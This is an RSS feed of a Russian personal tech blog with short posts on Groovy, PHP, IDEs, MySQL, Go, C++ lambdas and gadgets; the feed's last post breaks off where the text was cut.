<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Russian Gothic (Blekel&#039;s) Blog - RGB &#187; sys::</title>
	<atom:link href="http://blekel.ru/category/sys/feed" rel="self" type="application/rss+xml" />
	<link>http://blekel.ru</link>
	<description>Персональный блог Блэкела. Беспочвенные фантазии о вечной жизни</description>
	<lastBuildDate>Fri, 13 Jan 2012 17:45:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Groovlets</title>
		<link>http://blekel.ru/sys/groovlets</link>
		<comments>http://blekel.ru/sys/groovlets#comments</comments>
		<pubDate>Sat, 24 Sep 2011 10:32:03 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[RTFM]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=859</guid>
		<description><![CDATA[По факту у Groovy есть всё, чтобы вытеснить PHP из веба, например :-)]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" src="http://cs9367.vkontakte.ru/u10373019/38745381/y_012b4dd8.jpg" alt="" width="608" height="578" /></p>
<p>По факту у Groovy есть всё, чтобы вытеснить PHP из веба, например :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/groovlets/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Похапе</title>
		<link>http://blekel.ru/sys/php</link>
		<comments>http://blekel.ru/sys/php#comments</comments>
		<pubDate>Sat, 06 Aug 2011 13:23:13 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=837</guid>
		<description><![CDATA[Имхо, когда-нибудь Groovy-сервлеты (Java-платформа) должны глобально вытеснить PHP из WWW. Потому как  очень технологичнее, надёжнее и быстрее. Только порог вхождения для начинающих программистов выше. В очередной раз убеждаюсь, что на PHP ни в коем случае нельзя писать большие, сложные проекты. Например, такие как движок для блогов WordPress, &#8212; после обновления сразу down, вызов метода несуществующего [...]]]></description>
			<content:encoded><![CDATA[<p style="padding-left: 30px;"><em>Имхо, когда-нибудь Groovy-сервлеты (Java-платформа) должны глобально вытеснить PHP из WWW. Потому как  очень технологичнее, надёжнее и быстрее. Только порог вхождения для начинающих программистов выше.</em></p>
<p>В очередной раз убеждаюсь, что на PHP ни в коем случае нельзя писать большие, сложные проекты.</p>
<p>Например, такие как движок для блогов WordPress, &#8212; после обновления сразу down, вызов метода несуществующего объекта, потом проблема с кодировками, и т.д. Нужно лезть в его код, тратить время на исправление ошибок. Если бы мета-язык PHP был компилируемым, то такие ошибки проявились бы еще на стадии компиляции.</p>
<p><span id="more-837"></span></p>
<p>Пару минут смотрел код WP &#8212; тот еще ахтунг и лапша, но особенно доставило в локализации:</p>
<blockquote>
<pre class="wp-code-highlight prettyprint">function ru_post_date_filter($date, $d, $before, $after) {
    global $post;
    $the_date .= $before;
    $the_date = ''==$d?$date:mysql2date(ru_fix_date_format($d), $post-&gt;post_date);
    $the_date .= $after;
    return $the_date;
}</pre>
</blockquote>
<p>В нормальном языке это не пропустилось бы компилятором, выполняется такой код не так, как было задумано, и скорее всего человек, писавший его по каким-то причинам спал в тот самый момент. Поэтому так важно в дополнение к внутреннему человеческому интерпретатору иметь в наличии автоматический компилятор.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IntelliJ IDEA</title>
		<link>http://blekel.ru/sys/intellij-idea</link>
		<comments>http://blekel.ru/sys/intellij-idea#comments</comments>
		<pubDate>Thu, 17 Feb 2011 12:24:18 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=824</guid>
		<description><![CDATA[На данный момент у меня 2 главных рабочих инструмента: текстовый редактор Vim (www.vim.org) и интегрированная среда разработки (IDE) Eclipse (eclipse.org). Но вот решил заново присмотреться к IntelliJ IDEA, или &#171;жидее&#187;, как ее &#171;ласково&#187; прозывают бордопузики на физтехе ). С некоторых пор она стала доступна в свободной редакции для Java SE (Standard Edition), Groovy, Android и [...]]]></description>
			<content:encoded><![CDATA[<p>На данный момент у меня 2 главных рабочих инструмента: текстовый редактор <strong>Vim</strong> (www.vim.org) и интегрированная среда разработки (IDE) <strong>Eclipse</strong> (eclipse.org).</p>
<p>Но вот решил заново присмотреться к <strong>IntelliJ IDEA</strong>, или &laquo;жидее&raquo;, как ее &laquo;ласково&raquo; прозывают бордопузики на физтехе ). С некоторых пор она стала доступна в свободной редакции для Java SE (Standard Edition), Groovy, Android и т.д., платным остается пакет для Java EE (Enterprise Edition). Для глубокой (с отладкой многопоточности) Java-разработки она считается самой продвинутой и способствует меньшему появлению ошибок. Есть поддержка C++ и некоторых других языков, но нет PHP (только редактор, ну и ладно).</p>
<p>Сразу понравилось присутствие из &laquo;коробочных&raquo; Vim, git и многих других полезных да интересных плагинов.</p>
<p>Интерфейс среды проигрывает Eclipse, особенно в навигаторе проектов и аутлайнере, но это дело привычки. А вот по скорости возможно заметно превосходит, время покажет. В статус-баре отображает использование памяти из всей кучи, так что момент наступления тормозов скорее всего можно предсказывать визуально. :-) В Eclipse этот показатель часто зависит от сочетания  текущего положения звезд на небе и с какой стороны ветер дует. )</p>
<p>Сайт: <a href="http://www.jetbrains.com/idea/">http://www.jetbrains.com/idea/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/intellij-idea/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Eclipse::Type Hierarchi</title>
		<link>http://blekel.ru/sys/eclipse-type-hierarchi</link>
		<comments>http://blekel.ru/sys/eclipse-type-hierarchi#comments</comments>
		<pubDate>Fri, 17 Sep 2010 10:50:48 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=729</guid>
		<description><![CDATA[Почему-то в клипсе окно иерархии типов для каждого языка свое отдельное, хотя тот же схожий по функционалу аутлайнер &#8211; один на всех. Это порождает маленькую эстетическую проблему при конструировании некоторой универсальной перспективы для всех языков сразу. Если различные project-explorer-ы в этом случае различимы невооруженным глазом, то сабж &#8211; ан нет.]]></description>
			<content:encoded><![CDATA[<p>Почему-то в клипсе окно иерархии типов для каждого языка свое отдельное, хотя тот же схожий по функционалу аутлайнер &#8211; один на всех. </p>
<p>Это порождает маленькую эстетическую проблему при конструировании некоторой универсальной перспективы для всех языков сразу.<br />
Если различные project-explorer-ы в этом случае различимы невооруженным глазом, то сабж &#8211; ан нет.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/eclipse-type-hierarchi/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>День программиста</title>
		<link>http://blekel.ru/sys/programmers_day</link>
		<comments>http://blekel.ru/sys/programmers_day#comments</comments>
		<pubDate>Mon, 13 Sep 2010 06:08:52 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=711</guid>
		<description><![CDATA[С днем программиста, коллеги! )]]></description>
			<content:encoded><![CDATA[<p>С <a href="http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BD%D1%8C_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82%D0%B0">днем программиста</a>, коллеги! )</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/programmers_day/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lenovo IdeaPad v360</title>
		<link>http://blekel.ru/sys/lenovo-ideapad-v360</link>
		<comments>http://blekel.ru/sys/lenovo-ideapad-v360#comments</comments>
		<pubDate>Wed, 11 Aug 2010 11:13:17 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[checkpoint]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=689</guid>
		<description><![CDATA[В парке девайсов прибыло: легкий и компактный, но производительный ноут Lenovo IdeaPad v360: Intel Core i3-330M (2.13 GHz) / 3Gb Memory / 250Gb HDD / No ODD / 13.3&#8243; WXGA / NV GT305M 512 / Wi-Fi / BT / cam / Win7 HB / 1.75 kg &#160; Пойдет в апгрейд с EEE PC 1000H, в [...]]]></description>
			<content:encoded><![CDATA[<p align="center"><img class="aligncenter size-full wp-image-693" title="0143402_1" alt="" align="middle" width="500" height="351" src="http://blekel.ru/images/2010/08/0143402_1.jpg" /></p>
<p>В парке девайсов прибыло: легкий и компактный, но производительный ноут Lenovo IdeaPad v360:</p>
<p>Intel Core i3-330M (2.13 GHz) / 3Gb Memory / 250Gb HDD / No ODD / 13.3&#8243; WXGA / NV GT305M 512 / Wi-Fi / BT / cam / Win7 HB / 1.75 kg</p>
<p>&nbsp;</p>
<p><span id="more-689"></span></p>
<p>Пойдет в апгрейд с EEE PC 1000H, в котором мне уже часто не хватает производительности для повседневных задач.</p>
<p>Выражаю благодарность Коню (Gunja) за активное участие в дискуссии по моделям. )</p>
<p align="center"><img class="aligncenter size-full wp-image-694" title="0143402_3" alt="" align="middle" width="500" height="408" src="http://blekel.ru/images/2010/08/0143402_3.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/lenovo-ideapad-v360/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mud-bot</title>
		<link>http://blekel.ru/sys/mud-bot</link>
		<comments>http://blekel.ru/sys/mud-bot#comments</comments>
		<pubDate>Mon, 17 May 2010 13:11:14 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[checkpoint]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=631</guid>
		<description><![CDATA[[79/153hp][130/130m][67/121mv][злой][0/15056][115][t:12][N][Храмовый алтарь]&#160; [&#8211;command: прик всем сп [&#8211;command: отд [&#8212;&#8212;LOG: &#8211;&#62; REPEAT rooms set is EMPTY [&#8212;&#8212;LOG: tickCounter: 0 [&#8212;&#8212;LOG: &#8211;&#62; EXP за заход: 766 &#60;&#8211; [&#8211;command: quit Сервер закрыл подключение. Бот для консольной MUD-игры &#8211; чёткий чувак, &#8211; сам качается с очень небольшим присмотром, а при достижении минимального порога СДУ идет на главную контрольную точку [...]]]></description>
			<content:encoded><![CDATA[<blockquote style="margin-right: 0px" dir="ltr">
<p><font face="Lucida Console">[79/153hp][130/130m][67/121mv][злой][0/15056][115][t:12][N][Храмовый алтарь]&nbsp; [&#8211;command: прик всем сп<br />
[&#8211;command: отд<br />
[&#8212;&#8212;LOG: &#8211;&gt; REPEAT rooms set is EMPTY <br />
[&#8212;&#8212;LOG: tickCounter: 0 <br />
[&#8212;&#8212;LOG: &#8211;&gt; EXP за заход: 766 &lt;&#8211; <br />
[&#8211;command: quit<br />
Сервер закрыл подключение.</font></p>
</blockquote>
<p>Бот для консольной MUD-игры &#8211; чёткий чувак, &#8211; сам качается с очень небольшим присмотром, а при достижении минимального порога СДУ идет на главную контрольную точку текущей зоны и выключается, типа: &quot;<em>извольте-с&nbsp;взять уровень, хозяин</em>&quot; :-)</p>
<p>За пару недель написания по выходным этот агент ИИ стал идеален в горизонтальном масштабировании, хотя планирую провести генеральный рефакторинг для закрепления всей архитектуры и внедрения еще больших возможностей в дальнейшем.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/mud-bot/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Коммуникатор-&gt;new()</title>
		<link>http://blekel.ru/interesno/pda-new</link>
		<comments>http://blekel.ru/interesno/pda-new#comments</comments>
		<pubDate>Fri, 26 Mar 2010 22:02:15 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>
		<category><![CDATA[Интересно]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=616</guid>
		<description><![CDATA[Оу, я теперь знаю, на что сменю своего старичка, коммуникатор Qtek s200, который служит мне уже что-то около 4 лет. Он абсолютный рекордсмен из всех моих КПК-девайсов, которые в основном менялись или терялись в течении 1-го года. Так вот, новая достойная замена: HTC Nexus One. Он просто окуенен. В первую очередь железом, в этом он [...]]]></description>
			<content:encoded><![CDATA[<p>Оу, я теперь знаю, на что сменю своего старичка, коммуникатор <a target="_blank" href="http://www.hpc.ru/devices/36821">Qtek s200</a>, который служит мне уже что-то около 4 лет. Он абсолютный рекордсмен из всех моих КПК-девайсов, которые в основном менялись или терялись в течении 1-го года.</p>
<p>Так вот, новая достойная замена: <a target="_blank" href="http://market.yandex.ru/model.xml?hid=91491&amp;modelid=6032377">HTC Nexus One</a>.</p>
<p>Он просто окуенен. В первую очередь железом, в этом он заметно круче айфона. А вот софт пока не настолько идеален, судя по некоторым из отзывов. Но всё равно менять буду не сейчас, подожду еще.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/interesno/pda-new/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL::temp_table</title>
		<link>http://blekel.ru/sys/mysql-temp-table</link>
		<comments>http://blekel.ru/sys/mysql-temp-table#comments</comments>
		<pubDate>Fri, 19 Mar 2010 13:39:02 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=608</guid>
		<description><![CDATA[CREATE TEMPORARY TABLE xxx () ENGINE = MEMORY; Внутри одного запроса нельзя присоединять временную таблицу (TT) под разными алиасами . Также на TT нельзя делать CREATE VIEW. Т.е. в такой ситуации нужно создавать столько временных таблиц, сколько их надо будет присоединять.]]></description>
			<content:encoded><![CDATA[<p>CREATE TEMPORARY TABLE xxx () ENGINE = MEMORY;</p>
<p>Внутри одного запроса нельзя присоединять временную таблицу (TT) под разными алиасами <img src="http://blekel.ru/wp-includes/images/smilies/icon_eek.gif" alt="" />. Также на TT нельзя делать CREATE VIEW.</p>
<p>Т.е. в такой ситуации нужно создавать столько временных таблиц, сколько их надо будет присоединять.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/mysql-temp-table/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vkontakte</title>
		<link>http://blekel.ru/work/vkontakte</link>
		<comments>http://blekel.ru/work/vkontakte#comments</comments>
		<pubDate>Fri, 12 Feb 2010 12:07:31 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[checkpoint]]></category>
		<category><![CDATA[sys::]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=587</guid>
		<description><![CDATA[Собственно, захват мира начался. Ключевое слово: adwolf. Коды на vkontakte.ru, пока только на странице редактирования личных настроек, а с 14-15 февраля будут уже везде.]]></description>
			<content:encoded><![CDATA[<p>Собственно, захват мира начался. Ключевое слово: adwolf. Коды на vkontakte.ru, пока только на странице редактирования личных настроек, а с 14-15 февраля будут уже везде.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/work/vkontakte/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AdFox</title>
		<link>http://blekel.ru/work/adfox</link>
		<comments>http://blekel.ru/work/adfox#comments</comments>
		<pubDate>Thu, 11 Feb 2010 06:22:33 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://blekel.ru/work/adfox</guid>
		<description><![CDATA[В офисе жесточайший бардак: коробки, провода. Много-много серверов готовятся к захвату мира.]]></description>
			<content:encoded><![CDATA[<p>В офисе жесточайший бардак: коробки, провода. Много-много серверов готовятся к захвату мира.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/work/adfox/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java, MySQL, etc</title>
		<link>http://blekel.ru/vazhno/java-future</link>
		<comments>http://blekel.ru/vazhno/java-future#comments</comments>
		<pubDate>Wed, 16 Dec 2009 13:15:07 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>
		<category><![CDATA[work]]></category>
		<category><![CDATA[Важно]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=535</guid>
		<description><![CDATA[Компания Oracle, известная прежде всего своей одноименной коммерческой СУБД, покупает компанию Sun Microsystems, вместе со всеми ее технологиями, разумеется. А среди этих технологий самыми важными вещами являются: замечательный язык Java (точнее, замечательной является его библиотека, и платформа в целом тоже); не менее замечательная СУБД MySQL; среда разработки NetBeans, которая в некоторых особенностях бывает даже лучше [...]]]></description>
			<content:encoded><![CDATA[<p><img hspace="25px" align="left" alt="Java" src="http://upload.wikimedia.org/wikipedia/ru/thumb/8/88/Java_logo.png/100px-Java_logo.png" /> Компания <a target="_blank" href="http://ru.wikipedia.org/wiki/Oracle_Corporation">Oracle</a>, известная прежде всего своей одноименной коммерческой СУБД, покупает компанию <a href="http://ru.wikipedia.org/wiki/Sun_Microsystems">Sun Microsystems</a>, вместе со всеми ее технологиями, разумеется.</p>
<p>А среди этих технологий самыми важными вещами являются:</p>
<ul>
<li>замечательный язык <a href="http://ru.wikipedia.org/wiki/Java">Java</a> (точнее, замечательной является его библиотека, и платформа в целом тоже);</li>
<li>не менее замечательная СУБД <a href="http://ru.wikipedia.org/wiki/MySQL">MySQL</a>;</li>
<li>среда разработки <a href="http://ru.wikipedia.org/wiki/NetBeans_IDE">NetBeans</a>, которая в некоторых особенностях бывает даже лучше моей любимой среды <a href="http://ru.wikipedia.org/wiki/Eclipse_%28%D1%81%D1%80%D0%B5%D0%B4%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8%29">Eclipse</a>.</li>
</ul>
<p><span id="more-535"></span></p>
<p>Java &#8212; благодаря своей библиотеке, на данный момент это лучший язык программирования из тех, уровень абстракции которых выше, чем у C++ (Boost). Java очень прост как язык, особенно в сравнении с C++ и Python, но в то же время очень мощный. Вообще Java &#8212; это целая вселенная, которая сейчас почти что впереди планеты всей.</p>
<p>MySQL &#8212; бесплатная, быстрая и самая распространенная СУБД. Лишь незначительно уступает коммерческой СУБД от Oracle в части реализации бизнес-логики.</p>
<p>NetBeans я сам не пользуюсь только потому, что Eclipse мне намного больше нравится внешне, обладает рядом функционала, который в NetBeans еще не реализован или не так удобен для меня. Ну и привык еще.</p>
<p>Посмотрим, что в будущем ожидает эти, бесспорно,&nbsp; очень важные технологии.</p>
<blockquote>
<p>Статьи на хабре по теме:</p>
<p><a class="topic" href="http://habrahabr.ru/blogs/mysql/78161/">Создатель MySQL призывает не допустить развала проекта</a></p>
<p><a class="topic" href="http://habrahabr.ru/blogs/java/73743/">Oracle сообщили о судьбе Java, MySQL, NetBeans, GlassFish, SOA, OpenOffice</a></p>
<p><a class="topic" href="http://habrahabr.ru/blogs/mysql/78236/">Компания Oracle официально приняла обязательства по отношению к MySQL</a></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/vazhno/java-future/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Go (язык программирования)</title>
		<link>http://blekel.ru/sys/go-programming-language</link>
		<comments>http://blekel.ru/sys/go-programming-language#comments</comments>
		<pubDate>Fri, 04 Dec 2009 14:00:55 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=531</guid>
		<description><![CDATA[Go &#8212; компилируемый, многопоточный язык программирования, разработанный компанией Google. Первоначальная разработка Go началась в сентябре 2007 года, а его непосредственным проектированием занимались Роберт Гризмер, Роб Пайк и Кен Томпсон. Официально язык был представлен в ноябре 2009. На данный момент его поддержка осуществляется лишь для операционных систем Linux и Mac OS X. Хало-ворлд пример: package main [...]]]></description>
			<content:encoded><![CDATA[<p><img vspace="10px" hspace="10px" align="left" alt="Логотип языка Go" src="http://upload.wikimedia.org/wikipedia/ru/2/23/Golang.png" /> <strong>Go</strong> &mdash; компилируемый, многопоточный язык программирования, разработанный компанией Google. Первоначальная разработка Go началась в сентябре 2007 года, а его непосредственным проектированием занимались Роберт Гризмер, <a title="Пайк, Роб" href="http://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%B9%D0%BA,_%D0%A0%D0%BE%D0%B1">Роб Пайк</a> и <a title="Томпсон, Кен" href="http://ru.wikipedia.org/wiki/%D0%A2%D0%BE%D0%BC%D0%BF%D1%81%D0%BE%D0%BD,_%D0%9A%D0%B5%D0%BD">Кен Томпсон</a>. Официально язык был представлен в ноябре 2009. На данный момент его поддержка осуществляется лишь для операционных систем Linux и Mac OS X.</p>
<p>Хало-ворлд пример:</p>
<div style="font:10pt 'Lucida Console';">
<blockquote>
<pre class="wp-code-highlight prettyprint">
package main

import "fmt"

func main()
{
    fmt.Printf("Hello, World!n")
}
</pre>
</blockquote>
</div>
<p><em>Если обратить внимание на <strike>динозавров</strike> разработчиков языка, то видно, что именно они являются разработчиками </em><em>эпохального </em><em>языка Си, значение которого в этой области невозможно переоценить. Что об очень многом говорит и доставляет.</em></p>
<p><span id="more-531"></span></p>
<p>Синтаксис языка Go схож с синтаксисом языка Си, за исключением объявлений типа; прочие синтаксические различия заключаются в отсутствии скобок для условных конструкций <em>for</em> и <em>if</em>. Язык также поддерживает сборку мусора (garbage collection). Модель многопоточности Go была создана на основе CSP Тони Хоара по типу предыдущих распараллеливаемых языков программирования <a title="Occam" href="http://ru.wikipedia.org/wiki/Occam">Occam</a> и <a title="Limbo" href="http://ru.wikipedia.org/wiki/Limbo">Limbo</a>, но также присутствуют такие особенности <a title="Пи-исчисление (страница отсутствует)" class="new" href="http://ru.wikipedia.org/w/index.php?title=%D0%9F%D0%B8-%D0%B8%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5&amp;action=edit&amp;redlink=1">Пи-исчисления</a> как канальная передача.</p>
<p>Однако отсутствуют такие возможности как <a href="http://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D0%B8%D1%81%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B9" title="Обработка исключений">обработка исключений</a>, <a href="http://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%29" title="Наследование (программирование)">наследование типов</a>, <a href="http://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BE%D0%B1%D1%89%D1%91%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5" title="Обобщённое программирование">обобщённое программирование</a>, использование <a href="http://ru.wikipedia.org/wiki/%D0%A3%D1%82%D0%B2%D0%B5%D1%80%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%29" title="Утверждение (программирование)">утверждений</a> и <a href="http://ru.wikipedia.org/w/index.php?title=%D0%9F%D0%B5%D1%80%D0%B5%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%B2&amp;action=edit&amp;redlink=1" class="new" title="Переопределение методов (страница отсутствует)">переопределение методов</a>. Однако, у Google есть в дальнейших планах возможность добавления обобщённого программирования, тогда как против использования утверждений в FAQ по языку приводятся аргументы, а наследование без указания типа, наоборот, отстаивается. В отличие от Java присутствует поддержка ассоциативных массивов (в виде хэшей или словарей) как и строк.</p>
<p align="right">Источник: <a href="http://ru.wikipedia.org/wiki/Go" target="_blank">Go (язык программирования)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/go-programming-language/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>А маразм всё крепчал..</title>
		<link>http://blekel.ru/fun/rf-domen</link>
		<comments>http://blekel.ru/fun/rf-domen#comments</comments>
		<pubDate>Wed, 25 Nov 2009 13:08:09 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[checkpoint]]></category>
		<category><![CDATA[Fun]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=523</guid>
		<description><![CDATA[Первым номером в реестре домена .рф, открытого в среду, стал кириллический адрес Россия.рф, сообщила руководитель маркетинга и PR Координационного центра национального домена сети интернет Мария Мокина. В настоящее время проходит процедура приоритетной регистрации имен второго уровня в зоне .рф, стартовавшая в полдень. Координационный центр резервирует имена для государственных нужд, заявки от владельцев товарных знаков принимают [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Первым номером в реестре домена .рф, открытого в среду, стал кириллический адрес Россия.рф, сообщила руководитель маркетинга и PR Координационного центра национального домена сети интернет Мария Мокина.<br />
В настоящее время проходит процедура приоритетной регистрации имен второго уровня в зоне .рф, стартовавшая в полдень. Координационный центр резервирует имена для государственных нужд, заявки от владельцев товарных знаков принимают аккредитованные регистраторы.<br />
Администратором домена Россия.рф на период резервирования является Координационный центр. &laquo;Позднее мы передадим его соответствующим органам государственной власти&raquo;, &ndash; сказала Мокина.</p></blockquote>
<p><a target="_blank" href="http://www.gazeta.ru/news/lastnews/2009/11/25/n_1428407.shtml">Источник</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/fun/rf-domen/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Лямбда-выражения в C++ (стандарт C++0x)</title>
		<link>http://blekel.ru/sys/cpp-lambda</link>
		<comments>http://blekel.ru/sys/cpp-lambda#comments</comments>
		<pubDate>Tue, 29 Sep 2009 07:56:59 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[RTFM]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=482</guid>
		<description><![CDATA[Многие языки программирования позволяют создавать налету локальные не именованные функции внутри выражений. Такие функции обычно относят к лямбда функциям, которые имеют широкое применение. Лямбда выражения &#8211; техника программирования, сочетающая в себе преимущества указателей на функции и функциональных объектов, и при этом позволяет избежать неудобств. Как и функциональные объекты, лямбда выражения позволяют хранить состояния, но их [...]]]></description>
			<content:encoded><![CDATA[<p>Многие языки программирования позволяют создавать налету локальные не именованные функции внутри выражений. Такие функции обычно относят к лямбда функциям, которые имеют широкое применение.</p>
<p><strong>Лямбда выражения </strong>&ndash; техника программирования, сочетающая в себе преимущества указателей на функции и функциональных объектов, и при этом позволяет избежать неудобств. Как и функциональные объекты, лямбда выражения позволяют хранить состояния, но их компактный синтаксис в отличие от функциональных объектов не требует объявления класса, т.е. позволяет писать более компактный код и избегать лишних ошибок там, где это возможно.</p>
<p><span id="more-482"></span></p>
<p><strong>Функциональные объекты </strong>&ndash; это обыкновенные объекты с перегруженным ()-оператором. Т.е. с точки зрения синтаксиса, они являются обыкновенными функциями.</p>
<p><strong>Синтаксис лямбда выражения:</strong></p>
<p><strong><img alt="C++ lambda" src="http://pic.blekel.ru/images/2009.09.29_11.51.38__Dd293603.png" /></strong></p>
<p>1) Маска переменных<br />
2) Список параметров<br />
3) Изменение параметра, переданного по значению<br />
4) Спецификация исключения<br />
5) Возвращаемый тип<br />
6) Тело лямбда выражения</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/cpp-lambda/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL IN/NOT IN</title>
		<link>http://blekel.ru/work/sql-in-not-in</link>
		<comments>http://blekel.ru/work/sql-in-not-in#comments</comments>
		<pubDate>Fri, 25 Sep 2009 08:32:55 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=471</guid>
		<description><![CDATA[В контексте MySQL на данный момент. Есть все предпосылки полагать, что красивый и изящный оператор IN / NOT IN в SQL-запросе сильно неэффективен на больших таблицах по сравнению с прямым сравнением значений по индексам и в том числе в операциях INNER / LEFT JOIN, т.к. похоже, что IN / NOT IN действует простым перебором, что [...]]]></description>
			<content:encoded><![CDATA[<p>В контексте MySQL на данный момент.</p>
